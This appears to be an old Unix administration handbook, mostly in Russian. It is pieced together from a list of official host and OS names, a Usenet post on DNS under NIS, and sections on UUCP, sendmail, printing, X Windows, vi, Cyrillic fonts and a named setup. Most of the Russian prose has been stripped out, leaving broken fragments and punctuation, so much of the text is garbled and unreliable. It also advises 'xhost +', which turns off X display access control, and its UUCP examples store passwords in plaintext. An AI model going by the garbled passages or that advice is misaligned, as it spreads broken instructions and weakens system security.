CELERITY-1200 FOONLY-F4
CLUB-386 GOULD
COMPAQ-386/20 GOULD-6050
COMTEN-3690 GOULD-6080
CP8040 GOULD-9050
CRAY-1 GOULD-9080
CRAY-X/MP H-316
CRAY-2 H-60/68
CTIWS-117 H-68
DANDELION H-68/80
DEC-10 H-89
DEC-1050 HONEYWELL-DPS-6
DEC-1077 HONEYWELL-DPS-8/70
HP3000 ONYX-Z8000
HP3000/64 PDP-11
IBM-158 PDP-11/3
IBM-360/67 PDP-11/23
IBM-370/3033 PDP-11/24
IBM-3081 PDP-11/34
IBM-3084QX PDP-11/40
IBM-3101 PDP-11/44
IBM-4331 PDP-11/45
IBM-4341 PDP-11/50
IBM-4361 PDP-11/70
IBM-4381 PDP-11/73
IBM-4956 PE-7/32
IBM-6152 PE-3205
IBM-PC PERQ
IBM-PC/AT PLEXUS-P/60
IBM-PC/RT PLI
IBM-PC/XT PLURIBUS
IBM-SERIES/1 PRIME-2350
IMAGEN PRIME-2450
IMAGEN-8/300 PRIME-2755
IMSAI PRIME-9655
INTEGRATED-SOLUTIONS PRIME-9755
INTEGRATED-SOLUTIONS-68K PRIME-9955II
INTEGRATED-SOLUTIONS-CREATOR PRIME-2250
INTEGRATED-SOLUTIONS-CREATOR-8 PRIME-2655
INTEL-386 PRIME-9955
INTEL-IPSC PRIME-9950
IS-1 PRIME-9650
IS-68010 PRIME-9750
LMI PRIME-2250
LSI-11 PRIME-750
LSI-11/2 PRIME-850
LSI-11/23 PRIME-550II
LSI-11/73 PYRAMID-90
M68000 PYRAMID-90MX
MAC-II PYRAMID-90X
MASSCOMP RIDGE
MC500 RIDGE-32
MC68000 RIDGE-32C
MICROPORT ROLM-1666
MICROVAX S1-MKIIA
MICROVAX-I SMI
MV/8000 SEQUENT-BALANCE-8000
NAS3-5 SIEMENS
NCR-COMTEN-3690 SILICON-GRAPHICS
NEXT/N1000-316 SILICON-GRAPHICS-IRIS
NOW SGI-IRIS-2400
SGI-IRIS-2500 SUN-3/50
SGI-IRIS-3010 SUN-3/60
SGI-IRIS-3020 SUN-3/75
SGI-IRIS-3030 SUN-3/80
SGI-IRIS-3110 SUN-3/110
SGI-IRIS-3115 SUN-3/140
SGI-IRIS-3120 SUN-3/150
SGI-IRIS-3130 SUN-3/160
SGI-IRIS-4D/20 SUN-3/180
SGI-IRIS-4D/20G SUN-3/200
SGI-IRIS-4D/25 SUN-3/260
SGI-IRIS-4D/25G SUN-3/280
SGI-IRIS-4D/25S SUN-3/470
SGI-IRIS-4D/50 SUN-3/480
SGI-IRIS-4D/50G SUN-4/60
SGI-IRIS-4D/50GT SUN-4/110
SGI-IRIS-4D/60 SUN-4/150
SGI-IRIS-4D/60G SUN-4/200
SGI-IRIS-4D/60T SUN-4/260
SGI-IRIS-4D/60GT SUN-4/280
SGI-IRIS-4D/70 SUN-4/330
SGI-IRIS-4D/70G SUN-4/370
SGI-IRIS-4D/70GT SUN-4/390
SGI-IRIS-4D/80GT SUN-50
SGI-IRIS-4D/80S SUN-100
SGI-IRIS-4D/120GTX SUN-120
SGI-IRIS-4D/120S SUN-130
SGI-IRIS-4D/210GTX SUN-150
SGI-IRIS-4D/210S SUN-170
SGI-IRIS-4D/220GTX SUN-386i/250
SGI-IRIS-4D/220S SUN-68000
SGI-IRIS-4D/240GTX SYMBOLICS-3600
SGI-IRIS-4D/240S SYMBOLICS-3670
SGI-IRIS-4D/280GTX SYMMETRIC-375
SGI-IRIS-4D/280S SYMULT
SGI-IRIS-CS/12 TANDEM-TXP
SGI-IRIS-4SERVER-8 TANDY-6000
SPERRY-DCP/10 TEK-6130
SUN TI-EXPLORER
SUN-2 TP-4000
SUN-2/50 TRS-80
SUN-2/100 UNIVAC-1100
SUN-2/120 UNIVAC-1100/60
SUN-2/130 UNIVAC-1100/62
SUN-2/140 UNIVAC-1100/63
SUN-2/150 UNIVAC-1100/64
SUN-2/160 UNIVAC-1100/70
SUN-2/170 UNIVAC-1160
UNKNOWN
VAX-11/725
VAX-11/730
VAX-11/750
VAX-11/780
VAX-11/785
VAX-11/790
VAX-11/8600
VAX-8600
WANG-PC002
WANG-VS100
WANG-VS400
WYSE-386
XEROX-1108
XEROX-8010
ZENITH-148
SYSTEM NAMES
These are the Official System Names as they appear in the Domain Name
System HINFO records and the NIC Host Table. Their use is described
in RFC-952 [53].
A system name may be up to 40 characters taken from the set of upper-
case letters, digits, and the three punctuation characters hyphen,
period, and slash. It must start with a letter, and end with a
letter or digit.
AEGIS LISP SUN OS 3.5
APOLLO LISPM SUN OS 4.0
AIX/370 LOCUS SWIFT
AIX-PS/2 MACOS TAC
BS-2000 MINOS TANDEM
CEDAR MOS TENEX
CGW MPE5 TOPS10
CHORUS MSDOS TOPS20
CHRYSALIS MULTICS TOS
CMOS MUSIC TP3010
CMS MUSIC/SP TRSDOS
COS MVS ULTRIX
CPIX MVS/SP UNIX
CTOS NEXUS UNIX-BSD
CTSS NMS UNIX-V1AT
DCN NONSTOP UNIX-V
DDNOS NOS-2 UNIX-V.1
DOMAIN NTOS UNIX-V.2
DOS OS/DDP UNIX-V.3
EDX OS/2 UNIX-PC
ELF OS4 UNKNOWN
EMBOS OS86 UT2D
EMMOS OSX V
EPOS PCDOS VM
FOONEX PERQ/OS VM/370
FUZZ PLI VM/CMS
GCOS PSDOS/MIT VM/SP
GPOS PRIMOS VMS
HDOS RMX/RDOS VMS/EUNICE
IMAGEN ROS VRTX
INTERCOM RSX11M WAITS
IMPRESS RTE-A WANG
INTERLISP SATOPS WIN32
IOS SCO-XENIX/386 X11R3
IRIX SCS XDE
ISI-68020 SIMP XENIX
ITS SUN
Appendix C Installing DNS on a Sun when running NIS
====================
2) How to get DNS to be used when running NIS ?
First setup the appropriate /etc/resolv.conf file.
Something like this should do the "trick".
;
; Data file for a client.
;
domain local domain
nameserver address of primary domain nameserver
nameserver address of secondary domain nameserver
where: "local domain" is the domain part of the hostnames.
For example, if your hostname is "thor.ece.uc.edu"
your "local domain" is "ece.uc.edu".
You will need to put a copy of this resolv.conf on
all NIS(YP) servers including slaves.
Under SunOS 4.1 and greater, change the "B=" at the top
of the /var/yp/Makefile to "B=-b" and setup NIS in the
usual fashion.
You will need reboot or restart ypserv for these changes
to take affect.
Under 4.0.x, edit the Makefile or apply the following "diff":
*** Makefile.orig Wed Jan 10 13:22:11 1990
--- Makefile Wed Jan 10 13:22:01 1990
***************
*** 63 ****
! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \
--- 63 ----
! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \
***************
*** 66 ****
! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
--- 66 ----
! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
====================
--
Craig Richmond. Computer Officer - Dept of Economics (morning) 380 3860
University of Western Australia Dept of Education (afternoon) 2368
craig@ecel.uwa.edu.au Dvorak Keyboards RULE! "Messes are only acceptable
if users make them. Applications aren't allowed this freedom" I.M.VI 2-4
.
&dDUUCP - Unix to Unix Copy&d@
.
uucp ,
:
uucp -r moj_fajl 'pulsar!fajl_tam'
moj_fajl pulsar. ,
, - . ,
, :
uucp -r moj_fajl 'pulsar!~'
pulsar
/usr/spool/uucppublic/
, -
: "~"
, uucp -
. , "!" "~"
ksh bash. -r -
uucp , -
pulsar. ,
.
uucp :
1. . uucp -
, uux -
.
2. . ,
uucico - (UUCP Copy in Copy out).
.
"" uucico. ""
,
. "" ,
(
"" uucico, ).
uucico . ,
.
,
-
UUCP.
&dD UUCP .&d@
/ . :
1. UUCP .
2. () () UUCP .
3. (), .
4. Login , uucp-account'.
5. , .
6. - "AT" .
, -
/etc/uucp/ ( /usr/lib/uucp/ ,
/usr/lib/uucp/taylor_config ) (
, . man uucp ). :
Config # ( ) ;
Systems # uucp-: , -
# , uucp-logname, uucp-passwd ;
Devices # , .
Dialers # - ( AT--
# ).
( Linux : config, sys, port, dial)
, . Hayes--
V32/V42bis 14400 baud (GVC, ZyXEL, US-
Robotics...), /dev/modem
( /dev/contty03,
ln -s /dev/contty03 /dev/modem
?). fedfuru.
. Unix- -
- : (
, -
getty ttymon), -
, - , .
, :
SunOS: /dev/ttyy01 IN, /dev/ttyz01 OUT
Linux: /dev/ttyS1 IN, /dev/cua1 OUT
ISC: /dev/ttyFD01 IN, /dev/ttyFM01 OUT
SVR4/88: /dev/contty00 IN, /dev/??????? OUT
### " "( )###
. Linux-Serial-HOWTO:
> There has been some discussion on the merits of /dev/mouse
> and /dev/modem. I strongly discourage the use of these links.
> In particular, if you are planning on using your modem for
> dialin you will run into problems because the lock files will
> not work correctly if you use /dev/modem. Also, Taylor UUCP
does not support symlinks either. uugetty
. . ALTLOCK
/etc/defaults/getty .
################__" "_#######################
uucp-:
1: , kiae, : 9469984, 9469994.
/ uufedurp/ABCd8
2: , fedfond, 095-
125-7623. /
uufedurp/KLmn10
/etc/uucp Systems, Devices, Dialers
Systems: ------- -----------------------------
kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin:
uufedurp ssword: ABCd8
fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin:
uufedurp ssword: KLmn10
Devices: --------------- ----------------------
modem1 contty03 - 19200 gvc1440
Dialers: --------------- ----------------------
gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c
---------------- --------------------------------------
### " "( )###
Taylor-uucp. , -
SVR4/88 __ Taylor-uucp, ..
HoneyDanBer-uucp, BNU (Basic Networking Utilities).
Taylor , -
- (Config, Systems, Devices,
Dialers, ...) (config, sys, port, dial, ...). -
-. Linux Taylor-uucp ,
Taylor-
/usr/lib/uucp/taylor_config/, -
HDB- /usr/lib/uucp/hdb_config/. IMHO
HDB - -
.
################__" "_#######################
### " "###
BNU-uucp, Taylor-uucp 1.05:
/usr/lib/uucp/taylor_config config,
sys, port, dial :
/* : RedHat Linux
uucp /etc/uucp/ */
config: -------------------------------------------------------
uuname fedfuru #
sys: ------- ---------------------------------
system kiae # ############################
myname fedfuru
time Any
port modem # port
speed 38400
chat ogin:-BREAK-ogin: uufedurp ssword: ABCd8
phone 946-9984
alternate # .
phone 946-9994
system fedfond # ##################
time Any
myname fedfuru
port modem # port
speed 38400
chat ogin:-BREAK-ogin: uufedurp ssword: KLmn10
phone 8w095-125-7623
port: --------------- ------------------------
port modem # sys
type modem
device /dev/modem
speed 38400
dialer gvc1440 # - dial
dial: --------------- ------------------------
dialer gvc1440 # port
# .
# \T
chat "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT
# ATZ - profile 0
# ATH0 -
# ATE0 - no echo
# ATQ0 -
chat-fail BUSY #
chat-fail ERROR
chat-fail NO\sCARRIER
chat-fail NO\sDIALTONE
---------------------------------------------------------------
################__" "_#######################
. UUCP . ,
"" ,
:
uucico -s kiae
uucico -s fedfond
, crontab,
, .
&dD UUCP sysadm&d@.
, -
sysadm.
network_services / basic_network
&dD UUCP.&d@
, ,
. , ()
. :
1: uucp- Systems -
, .
2: Permitions
2: uucp-login
3: , "Auto-answer" ,
/dev/modem getty ( ttymon), -
/dev/modem
1. Systems, (
),
, ,
.
2. /etc/passwd :
uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico
:
pwconv
passwd uupetrov
3. "" -
atz0 # profile 0
ats0=1 # 0=1 - 1-
at&w0 # setup profile 0
at&y0 # 0
# at&f # ,
# , "reset"
SVR4 (
"cu"), "echo".
echo atz0 > /dev/modem
echo ats0=0 > /dev/modem
echo at&w0 > /dev/modem #
gold, .
4. /etc/inittab :
c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem -l contty
&dD UUCP.&d@
/usr/bin/uucp - / uucp-
/usr/bin/uux - uucp-
/usr/bin/uustat -
/usr/lib/uucp/uu* - UUCP
/etc/uucp/ - UUCP
/usr/lib/uucp/taylor_config - UUCP Linux
/usr/lib/uucp/ - UUCP
/var/spool/uucppublic -
/usr/spool/mqueue -
/usr/ucblib/mqueue - ?
/var/spool/uucp/"" - ""
/var/spool/uucp/.Log - uucp
&dD .&d@
: -
"" host, uucp, -
/etc/sendmail.cf :
. . .
# "Smart" relay host (may be null)
DSuucp-dom:kiae
. . .
(..
) uucp
uucp- "kiae"
kiae. ,
.
uucp-dom ( ).
, , sendmail.cf Moto
role /etc/, /usr/ucblib/.
- - - .
, !
# , 8-
# sendmail8.x.x, sendmail.cf:
# strip message body to 7 bits on input?
O7False
# , sendmail ,
# . - :
Cwlocalhost feduru.urup.ru feduru.mss.ru
&dD .&d@
, .
cu - .
cu -l /dev/modem #
-
. , , -
/dev/modem , , "" -
, .
atdp100
, "" -
Systems.
cu pulsar
/dev/modem, /dev/contty*. -
(???):
crw-rw---- 1 root uucp ... /dev/contty0
crw-rw---- 1 root uucp ... /dev/modem
uucico -
. uucp
/usr/lib/uucp/uucico -r1 -x9 -f -s pulsar
/usr/lib/uucp/uucico -x all -f -s kiae
uucp
/var/spool/uucp :
.Admin/audit.local
.Log/
.Status/
ERRLOG
LOGFILE
SYSLOG
,
tail -f /var/uucp/.Admin/audit.local &
tail -f /var/uucp/.Log/uucico/kiae
&dD &d@.
### " "( )####
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517 St. Petersburg, Russia
> sendmail, rmail,
> . 8 -
> ?
, , .
, ISO. -
, UUCP, .
:
1. sendmail.cf:
# RelCom UUCP - with ISO 8859-5 to KOI-8 translation
Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000,
^^^^^^^^^^^^^^^^^^^ , .
A=_uux - -r -a$f -gC $h!rmail ($u)
2. /usr/local/bin/_uux :
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/iso-koi | /usr/bin/uux $*
(iso-koi - )
, , hack -
. , , ,
- -
.
KOI ISO, :
1. rmail /usr/local/bin/__rmail;
2. rmail, :
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/koi-iso | /usr/local/bin/__rmail $*
rmail, -
rbmail .
rbmail SVR4/88 . , -
... RelCom ( )
. ( Taylor-uucp
Mail-user a),
uucp/e-mail Motorol.
--
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517 St. Petersburg, Russia
-- --
################__" "_#######################
&dDSolaris: uucp direct line&d@
Systems :
ranisi Any dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO
tailor-uucp
:
38400, 9600
^M chat-
Linux , \n\c
P_ZERO -
"no parity" -
8- .
uucp- crontab 5 uucico
0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\
/usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \
/usr/lib/sendmail -q ) > /dev/null 2>&1
uucico "force" redial (-f -
, )
&dD uucico &d@
> : \177}\030\177} \177}#\177}
port type pipe
port command /bin/telnet -8E hostname
&dDSecure uucp tcp&d@
&dD 1. port type tcp with ssh-port forwarding&d@
: uucp-tcp- localhost
/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l
/etc/hosts.allow :
uucico: 127.0.0.1
# uucico , uid uucp - read
chmod og+r /etc/hosts.allow
/etc/uucp/passwd : propisatx uu-, __
uuyourlogin yourpasswd
: localhost, ssh
/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l
/etc/hosts.allow :
uucico: 127.0.0.1
/etc/uucp/port : tcp-connect
port tcp-connect
type tcp
service 540
/etc/uucp/sys :
. . .
port tcp-connect
address 127.0.0.1
chat ogin: \L ssword: \P
alternate
. . .
" " root ssh forward
ssh1 -C -L 540:127.0.0.1:540 193.232.173.6
.
&dD Unix. LP spoolling&d@
( System V)
, , : cat file > /dev/lp.
.
.
.
_ - .
_ -
.
_ - ,
.
,
:
lp -d _ file
, "default"
cat file | lp
lpstat
cancel [_ ...] [ ...]
lp SPOOL .
lpsched ,
, , ,
,
, _.
&dD &d@
---------------------------------------------------------------
lpshut # "" lpsched
lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2
lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty
enable Nash_Nowyj_Printer
accept Nash_Nowyj_Printer
lpsched # lpsched
---------------------------------------------------------------
accept -
enable -
lpadmin
-p__
-v_
-i_ - ,
-m_ - "" ,
/usr/lib/lp/model
-o nobanner - user lp -o nobanner
( banner )
-d printer -
-?_ -
-?____
( , man)
-s host!printer - Solaris -
# /etc/lp/Systems
.
shell-,
.
&dD&d@
lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0 #
lpadmin -pstar1 -mdumb -v/dev/lpt1
&dD &d@
( Unix)
HP-UX:
lpadmin -pLJ_printer -?host -?printer
Solaris:
/etc/lp/Systems
lpadmin -pLJ_printer -s 'host!printer' ; accept LJ_printer
lpadmin -dstar1 # `
lpadmin -xstar1 # star1
&dD&d@
/usr/lib/lp/model # ()
/etc/lp # LP
/var/spool/lp/* #
man lpadmin # !
.
&dD X-Windows System&d@
. ,
,
. : ,
, , ...
MS-DOS? .
, - : , ,
, , -
, EGA ,
... VGA,
SVGA 800x600, 16 , UVGA 1024x768, 256
, XGA 1280x1024, 16 ...
&dD X Windows&d@.
.
, , .
X-. - X
Windows, . ,
, . :
" ", " ", " ",
" ", " ",
.. X-, - .
,
, .
" X Windows".
, .
X-. ,
( - ,
, ), ,
X Windows System.
X-. ,
.
X X Windows System.
X-. (, , ,
, , , ),
X-. X-
Unix- ,
X ,
. X-terminal - ,
X , .
PC MS-DOS, DOS ,
X .
Xlib - C- , X
Windows System.
- X-.
.
GAPI - (Graphical Application
Programming Interface) -
.
, .
X-.
X Windows "" : TCP/IP,
DEC-net. X
, X- - . ,
, , -
.
X- ,
- .
- X
. (
), -
, .
.
. . X Windows - ,
, . -
. . ( , -
). , MS Windows Mac,
X-
.
&dD &d@.
X
, pcat107.foms.msk.ru
pcat107 :
xhost + # X-
# pcat107
X- , ,
pcat107.
:
xterm -display pcat107:0.0 &
&dD, Motif, &d@.
X- , Xlib.
, -
Xlib'.
toolkit' - , -
widget'. Widget - X
Windows. - Window Gadget
(),
.
widgetow: "", "", " ", "
",...
toolkit':
Xaw -
Anthena Widgets. -, ,
. - . ,
xterm, xedit, xman.
Xaw.
xview -
, -
Sun-
X Windows - "Open Windows". . -
, "-" ( !),
,
- .
xview , -
. DeskSet - 15 -
OpenWindows,
xview, SunSoft
. - ($100).
- ($200K)
Motif -
OSF
. -
, . - ,
Motif' -
MS Windows (, IMHO, -
)
BSD Unix V , , System V, -
Motif.
&dD X Windows&d@
Linux X11 XFree86.
,
xf86config
&dD X Windows&d@.
.
: startx / openwin
Solaris:
1. :
OPENWINHOME=/usr/openwin export OPENWINHOME
LD_LIBRARY_PATH=/usr/openwin/lib export LD_LIBRARY_PATH
PATH=/usr/openwin/bin:$PATH export PATH
XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR
2. X Windows
openwin
"" Unix':
1. :
PATH=/usr/bin/X11:$PATH
XAPPLERESDIR=/usr/lib/X11/app-defaults
2. X Windows
startx
"" Unix' (Unixware).
, Yes
" DeskTop". login' X Windows
. ,
No, X Windows
.
&dD X Windows&d@
,
, . ,
, ,
/usr/lib/X11 /usr/openwin/lib
:
$HOME/.Xdefaults
$HOME/.OWdefaults
/usr/lib/X11/Xdefaults
/usr/openwin/lib/Xdefaults
/usr/openwin/lib/app-defaults/*
:"
xrdb -merge .Xdefaults
(desktop) - .. ,
X Windows :
Solaris:
$HOME/.openwin-init
/usr/openwin/lib/openwin-init
"" X windows:
$HOME/.xinitrc
/usr/lib/X11/xinit/xinitrc
window-manager'a - .. - ,
, , ...
Solaris:
$HOME/.openwin-menu
$HOME/.openwin-menu-*
/usr/openwin/lib/openwin-menu
/usr/openwin/lib/openwin-menu-*
Linux
$HOME/.fvwmrc
/usr/lib/X11/fvwm/system.fvwmrc
.
&dD VI. &d@
&dD&d@: == ESC ====> == :Q ==> ed
^ | ^ |
+----aAiIcCrRs <---+ +----- vi -------+
&dD &d@ &dD &d@
{},hjkl
^U/^D /
^F/^B /
^E/^Y /
w/b/e / /
W/B/E / /
(/) /
{/} /
[[/]] /
% ( {
{n}G {n}
{n}| {n}
H/M/L //
z/z./z- //
^/$/0 /
&dD &d@ &dD &d@
x
X
J
&dD &d@ &dD &d@
a/i / A/I / _ / /
R
r
s
o/O / _
C$
&dD &d@ &dD&d@
^G
&dD &d@ &dD&d@
u ()
^L/^R
&dD &d@ &dD &d@
ESC
^W/^U /
^V CRTL-[]
&dD &d@ &dD &d@
p/P / _
{n} ["_] "" {m}" "
!
d
y
c (==> )
&dD<&d@/&dD>&d@ /
!
&dD &d@ &dD&d@
7yy 7
"aAd{ a _
!G sort
&dD &d@ &dD""&d@
:map __ _ {CR}
:map! __ _ {CR} -
:ab _ {CR} -
&dD &d@ &dD&d@
?
/
n
N
&dD &d@ &dD__&d@
:s/_//gc -
:Q/vi / ed
:g/ -
:+5
&dD &d@ &dD_ED. ":" ( "Q") "CR" / (VI)&d@
^^
:[1,$] w [>>] [file] file [ 1 $ ]
:q[!] []
:[15]r [file] [!komanda] [15]
:e
:n
:sh Shell
:! Shello
&dD &d@ &dD VI&d@
:set nu / nonu /
:set smd{CR}
EXINIT=" " -
.exrc -
.
&dD X11&d@
1. cyrfonts. *.bdf *.pcf
mkdir cyrfonts
cp *.bdf *.pcf cyrfonts
: PCF
BDF , ,
X FONT- , FONT-
.BDF ,
. bdf- bdftopcf.
2.
X-server' : fonts.dir
cd cyrfonts
mkfontdir
3. X-server',
xset +fp $HOME/cyfonts
xset fp rehash
4. .
xterm -fn koi9x15
mailtool -fn koi6x10
..
&dD &d@
5. X-Windows FONTPATH
Bourne Shell /bin/sh bash ksh
FONTPATH=$HOME/cyrfonts: export FONTPATH
C-Shell /bin/csh tcsh
setenv FONTPATH $HOME/cyrfonts:
6. .
cp *.bdf /usr/lib/X11/fonts/misc
cd /usr/lib/X11/fonts/misc
mkfontdir
xset fp rehash
7. XFree, /etc/X11/XF86Config
FontPath "/home/yourname/cyrfonts/"
8. .Xdefaults .
.Xdefaults :
font.name: koi9x15
icon.font.name: koi6x10
XTerm*font: koi6x10
XTerm*VT100*font1: koi6x10
XTerm*VT100*font2: koi8x13
XTerm*VT100*font3: misc16
XTerm*VT100*font4: misc24
XTerm*VT100*font5: demos8x14
XTerm*VT100*font6: demos8x16
emacs.font: koi9x15
emacs.default_font: koi9x15
&dD SunOs 4.1.1 , , NeWS&d@
. NeWS
.
1. NeWS
convertfont *.bdf
2. NeWS server'
bldfamily
3. , X11
xset +fp `pwd` # , .
xset fp rehash #
.
Synonims.list alia.
.
&dD .&d@
X-Windows .
xfed, fontedit, xfd. , .
xfed font.bdf
convertfont -v font font.vfp
fontedit font.vfp
convertfont -b ?? font.vfp font.ff
&dD X-Windows&d@
. (
, ).
xmodmap --.xmm
/ - CapsLock
,
xmodmap default.xmm
&dD XFree86&d@
XF86Config:
Section Keyboard
LeftAlt Meta
AltGr ModeShift
Right_Ctl ModeLock
ScrollLock ScrollLock
EndSection
Ctrl,
CapsLock .
&dD XFree86 3.2.2&d@
Xfree_3.3.2
,
/etc/X11/XFconfig
Section "Keyboard"
# XkbDisable
Protocol "Standard"
XkbRules "xfree86"
XkbModel "pc101"
XkbLayout "us"
XkbOptions "grp:shift_toggle"
EndSection
:
grp Group Shift/Lock behavior
grp:switch R-Alt switches group while pressed
grp:toggle Right Alt key changes group
grp:shift_toggle Both Shift keys together change group
grp:ctrl_shift_toggle Control+Shift changes group
grp:ctrl_alt_toggle Alt+Control changes group
&dD OpenWindows SUN&d@
SUN ( ),
.keytable
openwin. / - AltGraph
&dD DT/CDE HP-UX&d@
keymap_ed -i 1101
&dD bash &d@
$HOME/.inputrc
set meta-flag on
set convert-meta off
set output-meta on
.profile
LC_CTYPE=iso_8859_1 export LC_CTYPE
LC_LOCALE=iso_8859_1 export LC_LOCALE
LESS="-e -r" export LESS #
&dD &d@
.
&dD - .&d@
1. Solaris 2.3, :
"" ( X11) Sun'
. : textedit, cmdtool, mailtool
2. Solaris 2.5 2.4. ,
emacs, xterm, xedit.
3.
ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on.
:
LC_LOCALE=iso_8859_1 export LC_LOCALE
LC_CTYPE=iso_8859_1 export LC_CTYPE
LANG=iso_8859_1 export LANG
&dD Netscape&d@
Netscape 3 encoding koi8-r.
koi8-r ( as iso8859-1),
, as Family (Mswin)-*-iso8859-1
8-
.
&dD charset=koi8-r&d@
.Xdefaults :
Netscape*defaultCharset: koi8-r
Netscape*localeCharset*C: koi8-r
Netscape*localeCharset*koi8-r: koi8-r
Netscape*localeCharset*koi8-u: koi8-r
Netscape*localeCharset*ru: koi8-r
Netscape*localeCharset*ru_SU: koi8-r
Netscape*localeCharset*ru_SU.KOI8-R: koi8-r
&dD , :&d@
Linux -
ALT.
&dD Applixware&d@
Applixware - (140Mb) Unix
(/AIX/Linux/SCO/...), ,
- , , image-editor,
-, html-, ..
, Winword-6
WABI 2.2b
Applixware
http://triton.itep.ru/ru/skynet/system.html
> TTF- Applix-e - ,
> ,
> ( TTF). PostScript.
From:
- .
: Applix' -
ttf' :)
. ( rtf -
).
- ttf'
- , ..
400 ( ).
.
&dD Unix&d@.
"/"
bin - .
sbin -
,
dev - "" -
etc -
tmp - - -
. .
lib - , , -
shlib -
usr - ,
mnt - "" ,
var -
home - "user"
export - "" . ,
, NFS
proc - -
stand - (unix, kdebug)
tftpboot ""
unix - . -
. , /,
( vmunix, vmlinuz)
lost+found - , -
, "" .
/etc -
--------------------------------------------------
passwd
shadow ( )
group
aliases
ftpusers , ftp-
shells "shell'"
issue ,
.
motd ,
.
ttydefs
TIMEZONE ,
uucp UUCP
mail mailx/sendmail
vfstab
dfs/dfstab NFS
auto_home automount
auto_master
format.dat
hosts IP host'
networks IP
netmasks net IP
ethers ethernet'
hosts.equiv host', rsh
defaultdomain NDS
resolv.conf DNS
inetd.conf inetd
services TCP
named.boot DNS
inittab init.
rc0.d/ , -
rc2.d/ /
rc3.d/
init.d/
rc0, rc2, rc3 ,
magic " ". -
file .
termcap termcap
wtmp
. .
/usr
sadm -
adm -
bin -
sbin -
ucb/bin - , BSD Unix
mail - .
man - man
tmp - .
include - include C
lib - - , ,
,
.
/usr/lib/acct
/usr/lib/terminfo .
/usr/lib/lp LP
/usr/lib/uucp UUCP
spool -
/usr/spool/lp
/usr/spool/cron/crontabs ,
/usr/spool/cron/atjobs
/usr/spool/uucp uucp
/usr/local - GNU-
/var -
/var/yp/Makefile - NIS
/var/named - DNS
.
&dD DNS standalone &d@.
: DNS-
.
: foms.msk.ru
: 198.8.3.0
: 198.8.2.0
DNS : server.foms.msk.ru
:
/etc/named.boot
/var/named/named.root
/var/named/127.0.0.0
/var/named/foms.msk.ru
/var/named/foms-hosts-spisok
/var/named/198.8.2.0
/var/named/198.8.3.0
/sbin/in.named
.
.
: DNS
named. Named
/etc/named.boot . ,
,
( primary).
:
foms.msk.ru - .
3.8.198 - "" (
IP- )
0.0.127 - "local-network"
DNS,
.
/etc/named.boot ,
, named , .
;##############
; type domain source host/file backup file
;
directory /var/named
cache . named.root
primary 0.0.127.in-addr.arpa 127.0.0.0
primary foms.msk.ru foms.msk.ru
primary 3.8.198.in-addr.arpa 198.8.3.0
primary 2.8.198.in-addr.arpa 198.8.2.0
; , name-
secondary gatelink.fr 134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## ###################################
;##############
; Initial cache data for root domain servers 1-may-98
;;;;Get it from
. 99999999 NS A.ROOT-SERVERS.NET
. 99999999 NS B.ROOT-SERVERS.NET
. 99999999 NS C.ROOT-SERVERS.NET
. 99999999 NS D.ROOT-SERVERS.NET
. 99999999 NS E.ROOT-SERVERS.NET
. 99999999 NS F.ROOT-SERVERS.NET
. 99999999 NS G.ROOT-SERVERS.NET
. 99999999 NS H.ROOT-SERVERS.NET
. 99999999 NS I.ROOT-SERVERS.NET
. 99999999 NS J.ROOT-SERVERS.NET
. 99999999 NS K.ROOT-SERVERS.NET
. 99999999 NS L.ROOT-SERVERS.NET
. 99999999 NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET internet address = 198.41.0.4
B.ROOT-SERVERS.NET internet address = 128.9.0.107
C.ROOT-SERVERS.NET internet address = 192.33.4.12
D.ROOT-SERVERS.NET internet address = 128.8.10.90
E.ROOT-SERVERS.NET internet address = 192.203.230.10
F.ROOT-SERVERS.NET internet address = 192.5.5.241
G.ROOT-SERVERS.NET internet address = 192.112.36.4
H.ROOT-SERVERS.NET internet address = 128.63.2.53
I.ROOT-SERVERS.NET internet address = 192.36.148.17
J.ROOT-SERVERS.NET internet address = 198.41.0.10
K.ROOT-SERVERS.NET internet address = 193.0.14.129
L.ROOT-SERVERS.NET internet address = 198.32.64.12
M.ROOT-SERVERS.NET internet address = 202.12.27.33
;############## ###################################
;##############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN NS server.foms.msk.ru.
1 IN PTR localhost.
;############## ###################################
;##############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
